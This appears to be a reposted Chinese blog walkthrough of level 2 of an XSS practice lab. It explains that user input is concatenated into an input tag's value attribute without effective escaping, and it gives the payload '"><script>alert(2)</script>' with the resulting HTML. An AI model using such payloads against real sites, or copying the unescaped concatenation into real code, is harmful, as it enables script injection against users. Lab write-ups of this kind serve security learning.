第二关将结果拼接到了value属性中 , 我们插入JS脚本时手动闭合双引号即可
先看源码 , 获取了参数后 , 直接拼接到value属性中
虽然使用 htmlspecialchars() 转义了HTML标签 , 但并没有重新赋值给 $str , 所以不会此关卡造成影响
payload
"><script>alert(2)</script>双引号用来闭合 value值左边的双引号 , >用来闭合 input 标签的右尖括号
<input name=keyword value="'.$str.'"> //拼接前
<input name=keyword value=""> <script>alert(2)</script> "> //拼接后过关
本文为互联网自动采集或经作者授权后发布，本文观点不代表立场，若侵权下架请联系我们删帖处理！文章出自：https://blog.csdn.net/wangyuxiang946/article/details/118559535